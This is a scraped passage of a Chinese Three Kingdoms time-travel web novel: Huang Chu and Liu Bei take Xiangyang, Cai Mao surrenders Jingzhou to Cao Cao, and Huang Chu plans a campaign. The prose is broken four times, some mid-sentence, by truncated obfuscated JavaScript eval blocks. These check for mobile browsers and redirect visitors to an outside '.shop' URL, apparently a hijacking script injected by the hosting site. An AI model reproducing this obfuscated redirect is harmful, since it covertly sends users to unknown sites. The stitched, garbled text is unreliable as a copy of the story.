l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486238|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约还萦绕在鼻尖,那些同僚临死前的惨叫仿佛还在耳边回响。 “将军,都清理干净了。”亲兵上前禀报。 魏延点头。 城门内聚集了约有几百人,大多是昨夜几名被杀将领的亲属和心腹部下,只等天亮时城门如约打开,他们便要离开襄阳、投奔荆州。 魏延瞥了一眼旁边立着的小商贩打扮的赵云和黄楚。 “妇人之仁。”他暗想:“黄楚终归是个妇人。乱世之中,妇人之仁,最是愚蠢。”他对黄楚的能力产生了一些怀疑,进而稍微有些担忧自己选择刘备究竟是对是错。但他既然已经将事情做绝,便再没了回头的路,只能跟刘备一条道走到黑了。 一声鸡鸣,城门缓缓开启。 站在最前的几人擎着大小包裹,犹豫不敢向前,生怕自己一旦走出去,城门之上会乱箭齐发将他们性命了结。 后面几个决心坚定的人将前面的人排开,驾着骡车,拖家带口驶出城去。又有些人受到鼓舞,跟随而出。 最后几人见前面的人好好的没有受暗算,终于鼓起勇气跟上。 背井离乡,且行且回顾,只见城墙上遍插“刘”字旌旗。昨天还是刘表刘琮的“刘”,今天已经是刘备的“刘”了。 按梁爽的安排,这一日襄阳城并未戒严,让百姓们照常过日子。 到了午间,远处隆隆马蹄声由远及近,魏延眯起眼睛,看到天际尘土飞扬,大军正缓缓而来。见是刘备的旗帜,魏延整理了一下衣甲,快步走下城楼恭候。 关羽留守新野,刘备率军在前,张飞殿后。 魏延见刘备至,忙上前几步,单膝跪地:“末将魏延,恭迎主公!” 刘备翻身下马,双手扶起魏延:“文长(魏延的字)辛苦了。久慕英雄之名,今见将军单骑夺城之胆略,果然名不虚传。备能得将军相助,实乃汉室之幸,黎民之福。”说着竟解下腰间玉佩相赠:“此物虽轻,愿与将军共守社稷之重。” 魏延连忙拜谢。 刘备又慰劳黄楚与赵云道:“军师与子龙也辛苦了。多亏军师慧眼识英雄,否则我哪能得文长这员猛将、取得襄阳又怎会如此容易。”二人忙谦辞。 魏延将刘备迎入城,暂时安置在文聘的宅院中。刘备坐定,目光在魏延身后停留片刻,笑问道:“不知文长是如何拿下襄阳的?其他守将何在?” 魏延神色如常:“回主公,末将昨夜趁文聘醉酒,将其控制。奈何他与其他将领皆顽固不化,执意要去给蔡瑁报信,末将不得已,只能......”他做了个抹脖子的手势。 刘备眉头微不可察地皱了皱,笑容稍稍凝固,随即展颜笑道:“文长诚心可嘉,立此大功,当重赏!” “主公,”黄楚上前一步,“既然襄阳已得,不如尽快安顿兵士、整合军队,以防蔡瑁反扑。且新野之民不日即将迁来,如何安置他们也是问题。” 刘备点头称是,转身对魏延道:“文长熟悉城中情况,就由你协助简雍、孙乾二位先生安顿军民吧。” 魏延等人领命而去。 刘备望着魏延远去的背影,眼中闪过一丝复杂的神色。他一抬眼,见黄楚正在看他。 刘备重重叹了口气。 黄楚下拜道:“皆是在下失算,以致襄阳城中几位将军都……有损主公仁德之名,甘受主公责罚。” 刘备连忙双手将她搀起:“军师勿出此言。我听闻军师今晨大开城门,放不愿归附之军民离去,便知军师有仁爱之心,且顾虑备一点虚名。备感喟在心,怎可苛责军师。百密一疏,世间常事。军师万勿自苦。既然这次知道魏延心狠,以后用他时多多设防便是。” “黄楚多谢主公体谅。” 刘备道:“军师奔波劳碌两日,请去休息罢。孔明先生由糜竺护送来,现安置在他处,军师可去与先生团聚。” “楚代拙夫多谢主公关怀。” 糜竺按刘备的意思,欲重金为黄楚购置下一套大宅院,梁爽辞而不受,只取一间小院,够她夫妇与嬷嬷和书童同住。 只剩她与孔明二人相对时,她忍不住又哭,一面哭一面道:“哭是弱者才做的事……我没那么脆弱,我也不想哭的……可我不知道为什么,一见到你,就忍不住……”她伏在他床榻边,哭着将襄阳城里的血案说给他听,眼泪打湿了他的前襟和衣袖。 孔明当然没有办法用语言回应她。 她痛哭了一场,将所有自责和悔恨痛快发泄完,只觉得另一种孤寂无解的悲伤浮上心头。 这时她看见孔明的眼角,挂着一颗晶莹的泪滴。 21. 两虎选择不相争? 或许是他能感同身受。 或许是他心疼她。 或许他是想说眼泪并不可耻。 又或许他是为自己没有事先提醒她防范魏延而感到抱歉。 梁爽无从知道他这滴泪到底是出于何种情绪,但那一瞬间,她的心被他的泪水滋润、震动,她觉得自己好像没有那么孤独了。 梁爽轻轻以指尖为他将泪抹去,笑道:“老版《三国》电视剧里面总看到刘备哭,原来你也会哭呀。” 孔明唇角浅浅微笑。 梁爽望着他的笑,痴痴愣了片刻,轻叹道:“我真盼着你快快醒过来。” 荆州城内,蔡瑁将手中的军报狠狠摔在地上。 “魏延这个叛徒!”他咬牙切齿,额角青筋暴起:“竟敢杀我襄阳守将,献城于刘备!看我不将他千刀万剐!” 堂下众将噤若寒蝉,无人敢应声,生怕被点名出征。蔡瑁来回踱步,扫视众人,众人纷纷低头回避他的目光,邓义、刘先自不必说,连一向军功卓著的张允也不敢看他。蔡瑁大怒:“荒谬!养兵千日用兵一时,尔等竟怕黄楚一个无知妇人么!传令下去,集结兵马,我要亲自率军夺回襄阳!” 邓义劝道:“先主丧事未完,此时出师不吉,还请将军等丧事结束后再……” 蔡瑁怒喝道:“此时不发兵,更待何时?等他们在襄阳站稳脚跟,然后来攻打荆州么!” “将军且慢。”谋士傅巽上前一步:“刘备得黄楚相助,又有关羽、张飞等猛将,将军不可轻敌。不如……我等向曹操求援。” 蔡瑁眼中精光一闪:“你是说……” “正是。曹操本就率军南下欲攻打荆襄,只因前番在博望坡受挫,暂时驻军鹊尾坡休整。若将军提议将襄阳献与曹操,他得我军相助,必能尽快重整旗鼓。襄阳守军不过三万,加上刘备从新野带来的人马,最多不超过四万。四十万大军攻城,就算硬攻,将人肉垒成沙袋用,也够把襄阳城墙压塌。” 刘先道:“先生别忘了,前些日子在博望坡,黄楚用了不足千人,烧了曹操十万大军……” 谋士蒯越道:“将军何必长他人志气、灭自己威风!难道是上次观战,将胆子都落在博望坡了?”转而向蔡瑁道:“将军,傅公悌所言极是。便让曹操去打襄阳。成,则是最好;不成,我们也没有损失。让他们两虎相斗,咱们从中取利。” 蔡瑁道:“曹操精明,难道会看不出我们的心思么?” 王粲道:“曹操虽然精明,必能看穿我等的心思,但他一定很想灭掉刘备黄楚,也很想得到襄阳。将军不妨一试。”邓义、刘先等人冷眼看着王粲的作为,心里暗叹:黄军师你说你当初何苦要把王粲往死里得罪呢…… 曹操接到蔡瑁的求援信,只淡淡扫了一眼,嘴角泛起一丝笑意,顺手拿给程昱。 程昱览毕,双手奉还。 曹操问:“依仲德之见,我应当如何?” 程昱恭谨答道:“主公明鉴,蔡瑁匹夫,实在是小瞧了主公。主公眼界宽广,怎会因蝇头小利而任他利用。眼下蔡瑁看似可以依仗荆州的地利,但他才智远远不敌黄夫人,若主公不救他,荆州必为刘备所得,所以蔡瑁实则无依无靠,唯有投靠主公才能保全性命。主公覆信时可以给他两条路选:要么,现在就献上荆州,以示诚意;要么,就让他先自行收复襄阳,再将襄阳献与主公。” 曹操笑道:“仲德以为,我不敢攻打襄阳、与黄夫人交手么?” “怎敢。区区女流之辈,不足以做主公的对手。且主公英明,既然有事半功倍之法,就绝不做事倍功半的事。” 曹操颔首:“好。便依文若之计,请仲德为我覆信蔡瑁。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486239|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >曹操的覆信给荆州诸人兜头泼了一盆冷水。此刻荆州人心惶惶,各自思变。 襄阳流民抵达荆州,蔡瑁闭门不纳,已令诸将寒心,生出兔死狐悲之感;不知荆州会为曹操还是刘备所得,更觉前路莫测、未来茫茫。 论陆上交战,蔡瑁虽然在众人面前嘴硬,但却不敢真的跟黄楚硬碰硬在战场上相见。 主动攻打襄阳,不异于自寻死路。 防守荆州,他最多只能依仗水军——他和张允等人最擅长调度指挥的水军。 靠水军,就能防住黄楚么……? 蔡瑁忽然发现自己对这个小时候跳起脚来扇他耳刮子的小外甥女感到如此惧怕。 当初她在荆州时,他便该杀了她。可惜…… 蔡瑁献荆州于曹操的决定是在瞬间做出的,没有过多犹豫。 蔡夫人对此没有异议。刘琮虽然不忍放弃先父基业,但因谋士傅巽、蒯越、王粲等人皆大力赞成此事,分析利弊之后,只得点头同意。 幕官李珪出言反对,痛骂蔡瑁背叛先主,被蔡瑁令左右推出去斩杀。一时无人再敢反对。 只是众将心中百味杂陈:荆州也好襄阳也罢,原皆是他们随刘表出生入死打下来的地盘,现在竟由蔡瑁做主,轻飘飘地送来送去…… 追随曹操并非不可,但他们总觉得曹操虽然人多势大,却未必能赢过黄楚。 但若真投奔刘备去,万一刘备兵败,他们再落到曹操手里时,恐怕有蔡瑁、王粲之流在旁撺掇着,曹操不会留他们性命。 两虎相争,百兽不知何去何从。看似处处有生路,实则处处都有死亡的危险,夹在中间,最是难熬。 邓义等人一咬牙,连夜携妻小家奴投奔襄阳。刘先、宋忠等诸位将军则继续追随蔡瑁,等待曹操接收荆州。 他们没能等来曹操。 22. 一心要那荆州(三) 梁爽与孔明的小院地处襄阳城东,隐于巷陌深处。院墙不高,爬满了枯萎的藤萝,几枝光秃的杏枝探出墙头,在寒风中轻轻摇曳。 清晨的薄雾笼罩着小院,汉江的水汽在院中凝结成霜。晨起,梁爽推开斑驳的木制屋门,走进天井。天井以青石铺就,中央凿有一口古井,井栏上结着薄霜,井水却依然温热,冒着缕缕白气。井旁那株老梅已经抽出点点花苞,在寒风中倔强地挺立。梁爽紧一紧身上的裘衣,立在井边看了一会儿。 此处正房共三间,青瓦因霜打而泛白。房前几丛翠竹依然青翠,竹叶上凝着晶莹的霜花,在晨光中闪烁。竹下有石桌,桌上凿了一个棋盘。若孔明醒来,或许能在此教她弈棋。梁爽选中这处院落时,不知为何心里冒出这样的想法。明明她根本不知道孔明要到哪年哪月才醒。但她就是抱着这样的期待。 东厢房住着汪嬷嬷和李嬷嬷,前天和孔明一道被糜竺护送来襄阳的。房前一株年份不浅的粗壮桂树,树下有座石臼。两个嬷嬷起得早,现正坐在石臼边碾磨草药。小小的院落里盈满了药材香。 西厢房则住着书童高洋,他房檐下有一片窄小的菜畦,刚搬进来时他问夫人此处种什么菜,又问可不可以种花。梁爽微笑道:“若你喜欢花,等到来年开春,全部种花也可以。”他很是兴奋。这会儿他不知去哪拾来柴草,支起一个炉子,熬粥。 虽然由秋入冬寒意渐浓,但小院中此刻却洋溢着某种温暖的气息。穿越以来,携孔明离开南阳以来,梁爽第一次感到类似于“家”的氛围。 高洋正守着那锅粥,问道:“夫人,咱们要在襄阳城久住么?”他跟在孔明和黄楚身边,耳濡目染,懂得时局,知道夫人和刘使君他们正谋划夺取荆州。 梁爽道:“嗯。拿下荆州之后,咱们也还住襄阳。”梁爽对取得荆州已有谋划,她志在必得。 高洋又问:“到时刘将军会住襄阳么?”言外之意,刘备大概率会住荆州,到时他会放心军师与自己不同城而居么? 梁爽道:“我会说服他。襄阳进可攻退可守,足以安身立命。荆州虽有天险易守,但太受各方垂涎,不够安定。” 这时听得东边关羽家中说话。昨日关羽率新野军民迁入襄阳,新野现在暂时只有糜芳坐镇。 关羽夫人王书芳的声音清脆高亢:“官人你这件战袍都破了,也不说补补。整日就知道擦拭你那青龙偃月刀,连句话都不肯多说……你看看,都磨成这样了!” 关羽依旧沉默,只有长刀破风的铮鸣作为回应。王夫人不依不饶:“你倒是说句话啊!整日跟个闷葫芦似的,人家三弟看着莽,回家都知道跟夫人说几句贴心体己话……” 话音未落,西边张飞家就传来一阵大笑:“哈哈哈,二嫂这是在夸俺呢!”接着隐隐有张飞的夫人夏侯宁娇嗔的声音:“官人你小点声,别让关将军和嫂夫人听见了!” 关将军和嫂夫人有没有听见不知道,梁爽、汪嬷嬷、李嬷嬷、高洋是全都听见了。 “怕什么,俺哥哥嫂嫂又不是外人!”张飞粗着嗓子喊道:“嫂嫂说得对,二哥你就是太闷了,跟嫂嫂多说说话怎么了?” 关羽终于开口,声音低沉:“翼德,休得胡闹。” 夏侯夫人立刻接话:“就是,官人你别总打扰关将军。嫂嫂,我这儿新得了些上好的绸缎,一会儿给您送去……” 黄楚家院子里醒着的四人听见“打扰”二字,默默彼此相互对视了几眼:好歹你们两家中间还隔着我们家呢,就这么隔空聊起来了? “多谢弟妹!”王夫人声音里带着笑意:“你看看人家三弟多会疼夫人……” 关羽又是一阵沉默,随即是后门开合的声响。 黄楚家以北,隔着一条巷子是赵云家,很快传来兵器相击的声响。 张飞扬声问:“嫂嫂,二哥出门寻子龙练武去了?” 听得王夫人叹了口气:“唉,是!连个话都不肯多说,就知道练武练武练武……” 夏侯夫人笑着打圆场:“二哥那是稳重,哪像我们家这个,整日没个正形……” “夫人这话说得!”张飞笑道:“那俺也练武去,省得讨夫人嫌。”接着是一阵桌椅碰撞声,想是张飞急着起身。 梁爽等人很快就听见北面传来张飞的大声:“二哥,子龙,带我一个!” 梁爽院子里一阵沉默。 高洋问:“夫人,咱们,真的要在这长住么……”两位嬷嬷也关切地看向她。 梁爽硬着头皮道:“就算搬到荆州,估计也要跟几位将军住一起的。都是主公的好意,怕咱们家遭人行刺,所以将武艺最高强的三位将军放在咱们周围——这一片儿房屋院落都小,这还是人家三位将军和家里夫人们不嫌逼仄,为了咱们的安全来委屈自个儿跟咱们做邻居呢。” 高洋道:“夫人武功超群,嬷嬷们也会功夫,哪里用得着他们保护?” 梁爽讶异道:“啊?我武功超群?嬷嬷们也会功夫?” 高洋道:“是呀。夫人一手‘七星针’,独步天下。也擅使枪,枪法称‘流云刺’。汪嬷嬷耍大刀,李嬷嬷使流星锤——夫人都忘了?” 梁爽努力收住自己快被惊掉了的下巴:“是……我自从上次发病,很多事至今没想起来……哎,那我会功夫、嬷嬷们也会功夫,你会不会呢?” 高洋顾左右而言他:“我只知道先生不会功夫。”粥好了,他连忙给夫人盛了一碗。 “先生现在昏迷不醒,会功夫也没用。”梁爽笑眯眯地看着他:“阿洋,既然我的功夫都忘了,你是一点功夫都不会,咱俩做个伴儿,一起学功夫吧?至少我得把枪法找回来。” 高洋:“夫人自己想学就自己学,拉我做什么。我要读书,还要照看先生呢。先生醒了要盘问我功课的。” 梁爽:“我堂堂军师,万一学得慢,多没面子啊?有你这细胳膊细腿的人衬着,我面上还好看一点。你家先生肯定也同意你陪我学武的,不信咱们问问他。” 两人走去房内,问诸葛亮的意见。诸葛亮想都没想就跳左眼皮。 高洋:“我就知道先生在夫人面前是个软骨头……就多余来问。” 吃过早饭,为尽邻里之礼,梁爽请两位嬷嬷帮她备了点礼物,去关羽家和张飞家拜会两位夫人。 按长幼,先到东边的关羽家。梁爽提着两个漆盒,还未叩门,就听见院内传来少女清脆的读书声:“击鼓其镗,踊跃用兵。土国城漕,我独南行。从孙子仲,平陈与宋……”。 开门的是个十一二岁的少女,模样俏丽,眉梢眼角带着几分英气。她见到黄楚,立刻抱拳行礼:“黄夫人安好,家母正在洗衣,我这就去唤她。” 这想必便是关羽之女关银屏了。 王夫人很快迎了出来,她身着淡青色袄裙,发髻简单却别致,整个人如一幅水墨画般清雅。“黄夫人百忙之中大驾光临,有失远迎。”此时她声音轻柔,梁爽颇感到意外。仔细想来,似乎确实只有关羽在家时夫人才是大嗓门。大概因为丈夫是闷葫芦,所以她不得不提高声量、想以此获得些回应吧。 梁爽递上一只漆盒:“听闻夫人昨夜有些咳嗽,特配了些川贝枇杷膏。” 王夫人心思细,一面谢她一面致歉:“是不是声音太大吵着夫人了?”接过漆盒,引梁爽入内。 只见院中种着几株梅树,树下石桌上摆着茶具,茶香袅袅。关银屏正在煮茶,动作娴熟优雅。 梁爽道:“小姐真是聪颖。初次相见,便猜到我是谁。” “银屏这孩子,不过有些小聪明罢了,”王夫人语气中带着宠溺:“正经书不爱读,只爱刀枪棍棒。教她几句诗经,也只挑和打仗相关的句子读。前几日还缠着她父亲教她刀法呢。” 黄楚笑道:“将门虎女,理应如此。” 因她今早时间有限,并未在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486240|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关家久坐,略叙了叙便约定改日再见,往西边的张飞家去。 还未敲门,便有一个虎头虎脑的小男孩开门从里面跑出来,约莫七八岁,大约是张苞。他见到梁爽,也立刻扯着嗓子喊道:“娘!黄夫人来啦!” 呵,这些小孩子都是人精。 夏侯夫人快步迎出,她身着绛红色锦袍,眉目如画,举手投足间自有一股英豪之气:“我得了些上好的蜜饯,正想送去给夫人,因知道夫人近来忙于军务,没敢打扰。原想等晚上去拜访夫人,没想到夫人先来了!” 屋内陈设富丽,与这平实朴素的砖瓦房颇为不搭。一名小姑娘正在学绣花,见梁爽进来,立刻起身行礼,举止端庄,与哥哥判若两人。这是张飞之女张竟汝。 “这是些安神的香囊。”黄楚递上另一个漆盒:“听闻夫人近日睡得不安稳。” 夏侯夫人爽朗一笑:“夫人有心了。我家官人的呼噜近来震天响,我被他吵得,唉……” “是……”梁爽附和道。她隔着墙都听见了…… 正说着,张苞已经迫不及待地打开漆盒,取出一个香囊闻了闻:“好香啊!娘,给我一个挂在床头吧!” “你这孩子……”夏侯夫人无奈地摇头。 听得后面赵云宅里比武的动静停了,梁爽起身道:“改日再来叨扰夫人,今日军中有事,先告辞了。”便从后门出去,与关张赵三人汇合,一同去面见刘备。 赵云见梁爽从后门出来,微微惊讶,旋即明白,问道:“军师听见我们练武的声音了?” “嗯。” 小赵将军果然心思比另外两个糙汉要细腻一些:“那想必平日里许多动静会吵到军师吧?” 梁爽泪目。 可惜关羽和张飞完全没听懂…… 梁爽白泪目。 四人齐聚刘备面前,简雍、孙乾、糜竺也在,当然,还有新归降的魏延、邓义等人。 刘备上座,左首依次是黄楚、简雍、孙乾、糜竺,右首则是关羽、张飞、魏延、赵云、邓义。 “曹操大兵压境,听闻蔡瑁将献荆州于曹操,吾欲保吾兄景升基业,诸位可有良策?” 魏延正图立功,闻言便道:“蔡瑁手中,马军五万,步军十二万,水军八万,合计共二十五万。钱粮大半在江陵;其余各处存粮汇集起来,若拒不出战、坚守城中,大约足以支撑一年之久。末将熟悉蔡瑁等人之用兵,愿领兵五千,先烧江陵粮草。”但后面要怎么打,他却没有头绪。刘备手中兵力满打满算四万有余,就算烧了荆州的存粮,由于兵力远远少于荆州守军,且外/围面临曹操四十万大军的威胁,显然也不能采取围城的方法。 邓义初来乍到,暂时不敢多说话。 刘关张等人倒不慌,先前在新野时已粗粗听梁爽说过一遍方略,此时只等她仔细安排。 “某有一计。”梁爽道:“蔡瑁要向曹操投降,按礼节,也考虑到曹操生性多疑,必然不是曹操屈尊至荆州,而是由蔡瑁先携刘琮与蔡夫人亲自渡江至曹军大营献上印绶兵符,然后曹操再挟他们几人挥师南下。蔡瑁贪生怕死,必然怕我军中途埋伏将他们一行人截获。因此他们一定会由手中最善战的水师护送着走水路,从汉水出发,绕远路经唐河,再转旱路至鹊尾坡。我估计随行水师人数,应在五万至六万之间。若少,他们怕打不过我军;再多,曹操便要起疑了。” 众人皆赞同。 梁爽继续道:“如此算下来,荆州守军,保守估计,还剩下马军五万,步军十二万,水军三万,合计共二十万。我们要强攻拿下依然很难,且估计蔡瑁临走前会留张允守城,并叮嘱他固守城池不许出战。所以要想取得荆州,我们还是不能打荆州。” “要想取得荆州,我们还是不能打荆州?”魏延、邓义等人疑惑道。 梁爽微笑。 魏延先隐约明白过来,问道:“军师是想……打曹操?” 23. 新野,不能烧 梁爽道:“是。我们把新野等地暂时让给曹操,边退边打,逐渐缩进襄阳。曹操越往荆州走,占据的地盘越多,要分兵驻防的城池越多,他的兵力就越分散。我要他一路向南,进军荆州的人马越分越少,到荆州时只剩十万左右。” 根据梁爽此前两战均能以少胜多的经验,十万对于刘备属下众人来说已经并非一个可怕的数字。 但对荆州归降诸将而言,曹操四十万大军在北,荆州二十万守军在南,另有五万水军在江上。合计六十五万敌兵,压力不可谓不大。魏延和邓义等人都是贰臣,一旦兵败,必然身死,故而格外怕输。 魏延问:“若曹操不走陆路、走水路呢?” 梁爽笑道:“他南下时主力是不会走水路的。” 魏延不解,梁爽笑道:“等将军听我排兵布阵完,自然就明白了。诸位不必慌,我军可以从博望、新野、樊城等地逐一开打,若战略有误,可再调整——无论是进是退,有这么大一座襄阳城在,始终都留有余地。” 众人应承。 刘备道:“具体如何派兵,还请军师安排。” 梁爽自从在荆州猛然醒悟“联蔡”的方案不可行,便日夜思量以何种战术夺取荆州,方案在心里过了千百遍,也与孔明就细节和各种可能的情况探讨过,此时早已成竹在胸,便擎出令箭,有条不紊吩咐道:“刘封、关平二位将军各率一百骑兵,选取快马和利索兵士,每日变换盔甲装束和名号旗帜,一路随曹军行进而动,只管在其附近骚扰,切莫贪胜,顺便打探敌情,每日来报曹军动向。”刘封、关平领命。梁爽向着二人,将眼神往荆州诸将身上一带,二人会意,退下命人制作大书“魏”、“邓”等字样的将旗。 梁爽又擎出令箭予关羽、张飞、赵云道:“请赵将军率五千兵士接替糜芳将军守新野,糜将军则率五百兵士移驻博望。糜将军那里,我来襄阳之前对他已有安排。关将军引一千兵士至白河上游埋伏,但万勿攻击蔡瑁水军。我料想蔡瑁约在四日后由鹊尾坡经白河返回荆州,将军先按兵不动,只快马将消息传回新野即可。等其战船全部通过,请将军率士卒以布袋装满沙土,遏住白河之水,以待曹军。只要听见曹军动静,将军便撤去布袋,大水淹之,再顺势带将士们冲杀下来。” 关羽问:“军师的意思,是说蔡瑁从荆州去鹊尾坡时走唐河,但回荆州时会走白河?” 梁爽点头道:“正是。白河流经新野县城外,离新野太近,蔡瑁去见曹操时怕被我军伏击,必不敢走,宁愿绕远走唐河。但等他见过曹操,曹操发步兵骑兵与他同时南下,他底气充足,便有胆走白河。且我研究过曹操用兵,曹操最讲究‘兵贵神速’,必然会促蔡瑁走最近的一条水路。” 关羽听罢,稍作思索,说道:“军师所言甚是。” 梁爽又安排张飞道:“请张将军带五千兵马,当中一千人去博陵渡口埋伏,此处水势最慢,曹军被淹,必从此逃难。将军见曹军至,便可乘势杀出,后续人马跟上。杀到与关将军汇合为止,勿向北方追杀。” “以上,便是我给曹操的见面礼。”梁爽稍作总结,端起茶盏,饮了一口,润一润喉,说道:“关、张二位将军打赢此仗之后,便平分兵力,分别向东、向西进军,待曹操大军南进,二位将军便带兵包抄到曹军后方。天干物燥,正好一把火烧了他们后方粮草辎重。时令即将入冬,野外没有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486241|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么食物,逼得他们必须入城补给。放火之后,张将军向西进驻樊城,关将军去白河上游以东地界驻扎。赵将军则出城接应糜将军——因博望城此时已让给曹操。将军与糜将军带五千多兵士乔装改扮潜伏在城中各处,入夜后,听得更夫打三更,便准时发作,夜袭曹营。” 魏延建议道:“撤出新野城前,在城中各地留下易燃之物,待曹军进入后,一把火全烧了,岂不简便?” 梁爽道:“我只烧荒地,不烧城池。虽然博望和新野两地百姓大多心向主公、已随军归附来襄阳,但到底房屋尚在故乡,皆是几代人辛苦积攒的基业,不可轻易焚毁。” 魏延不以为然,但毕竟初来乍到,不好与军师争竞,便默不作声。 梁爽继续道:“曹军明明惨败却连得两城,曹操多疑,必防着我军有诈。他虽然收下这二座城池,但心中有所顾虑,继续南下前必然留兵驻守。博望城小,曹操最多约在此地驻留一万五千人;新野城稍大,约留二万五千人。曹操再向南往荆州进军,战线便会拉长。此时襄阳地处荆州与新野之间,曹操必然也怕襄阳出兵将他大军截作两半,因此必然会向西先取樊城,把樊城作为打进我军后方的楔子,以牵制我军行动。请张将军按这个方法准备。”说着,将一只锦囊递给张飞,张飞接过。 梁爽道:“曹操先前四战中,每战死伤至少五万人,合计二十万人;其后约在樊城驻兵三万,各地驻兵合计七万人。如此算来,到达荆州前,曹军兵力比起我先前所说的十万人之数还多了三万。这三万交给关将军。”说着,梁爽也将一只锦囊交给关羽,转而向魏延和邓义道:“剩下十万抵达荆州的曹军,就请二位将军应对了。” 24. 曹操的老毛病 秋末冬初的寒雨淅淅沥沥打进鹊尾坡外干黄的土地里。曹操听闻黄楚擅长火攻,因此下令大军安营扎帐处清除尽附近杂草灌木。兵士夜巡次数安排得格外密,三令五申小心火烛。 因黄楚先前两次在博望坡烧出了大阵仗,曹军如惊弓之鸟,见近来天干气燥,众人不免忧心忡忡。今日有雨,虽然不利于行军,但降低许多火攻的风险,实在是喜事。 秋风秋雨瑟瑟,周遭一片荒凉,寸草不生。蔡瑁与蔡夫人携刘琮冒雨抵达鹊尾坡,只觉前途风雨飘摇。 蔡夫人孝服未除,一路颠簸北上,凄风苦雨中远眺见曹军大营上飘舞的“曹”字大旗,好像忽然对即将发生的事情有了实感,喊停车夫,说道:“总之都是屈居人下,我宁愿在黄楚手下讨生活。”要唤车夫改换路线,被蔡瑁厉声喝止:“都已经到此,安能反悔!” 刘琮本就不愿降曹,听见继母这样说,忙道:“曹操欲得荆州久矣,怎会真的保奏我家世代为荆州牧?恐怕是诓骗之词。不如与刘备联手抗曹,反而不像如今这般日夜难安。” 曹操已经加封蔡瑁为镇南侯、水军大都督,蔡瑁怎会放蔡夫人母子离去?自然不许,向蔡夫人道:“你忘了?黄楚险些死在你我手里,换成她是你,你能给对方留一条生路否?” 蔡夫人沉默不语,放下车帘,只得任车夫继续赶路,往曹营去。 曹营旌旗猎猎,军容威武,两队士兵列队在道路两旁,皆执刀斧,寒光闪闪。道路尽头,立于土台之上、身后有诸将簇拥的人,想来便是曹操。 从前曾听刘表说,曹孟德身长七尺,却能让八尺壮汉不敢直视。此刻蔡夫人远远望去,那个身影竟比传闻中更令人心悸,远远观之,似有虎踞龙盘之姿。越走越近,只见曹操玄色大氅下露出半副金甲,甲片在阴雨天里泛着青芒,他头上并未着冠,灰白鬓角被丝丝秋雨沁得发亮,细眼藏锋似地半眯着,眼神如渊,深不可测。 蔡夫人身着素白孝服,感觉自己周身被人打量,像是一只绵羊走入虎穴。她心底惧怕,余光看向弟弟,却见蔡瑁满面欣喜,明明是投降,却仿佛立了一件大功,显露洋洋得意之态。 蔡夫人又看向刘琮。刘琮显然被曹操的威势震慑,脸色苍白,鬓发额角浸透了冷汗。 “荆州牧刘琮,携母蔡氏拜见丞相。”蔡瑁向曹操见礼毕,立在一旁,高唱道。 蔡夫人连忙携刘琮向曹操行礼,刘琮双手将印绶兵符奉上。 曹操居高临下睨着他们,仿佛已经透过这母子二人看见了荆襄九郡的山川沃土。随后他的目光凝在了蔡夫人低头时露出的半截后颈,这莫名让他想到了自己卧房里那块莹润无瑕的白玉枕。 程昱轻咳了一声。 曹操猛然惊醒,伸手扶起跪拜的刘琮,温言抚慰道:“本相此番南下,正要讨伐逆贼刘备。贤侄顺应天意,实乃明智之举。” 曹操设宴款待荆州众人,宴席间觥筹交错,曹操举着酒樽踱到蔡瑁身侧:“德珪一路辛苦,路上可曾遇到刘备军袭扰?” 蔡瑁连忙起身祝酒:“托丞相洪福,那刘备小儿畏惧丞相军威,龟缩在襄阳城内不敢外出侵扰。末将一路沿唐河逆流而上,未遇半个敌兵。” 曹操听闻,心中一动,面上不露声色。二人饮酒,曹操目光往蔡夫人身上一带,再去看蔡瑁,见蔡瑁连忙垂下眸子假装不察,曹操大笑。 一整日,直到晚宴结束,曹操绝口不提荆州牧一事。 刘琮心下不安,蔡夫人也焦急不已。她忍不住偷偷打量曹操的脸色,却每每撞见曹操唇角含笑盯着她看。 筵席将散,蔡瑁道:“姐姐,咱们姐弟舅甥全赖曹丞相庇佑,姐姐当为丞相把盏。” 蔡瑁当众开口,蔡夫人无法拒绝,只得颤着手起身,手执铜壶,为曹操倒酒。 曹操喝着美人亲手倒的酒,心思却仿佛不在美人身上,一双眼睛紧紧睨着蔡瑁和刘琮。 刘琮少年气盛,还不懂得遮掩表情。 美酒落肚,曹操笑道:“嫂夫人如此有心,我当保奏贤侄任青州刺史,今夜便好启程。” 刘琮连忙起身推辞道:“琮不愿为官,愿做一介草民,守父母乡土。” 曹操道:“青州临近帝都,教你随朝为官,免在荆襄被人图害。”刘琮再三推辞,曹操皆不准。 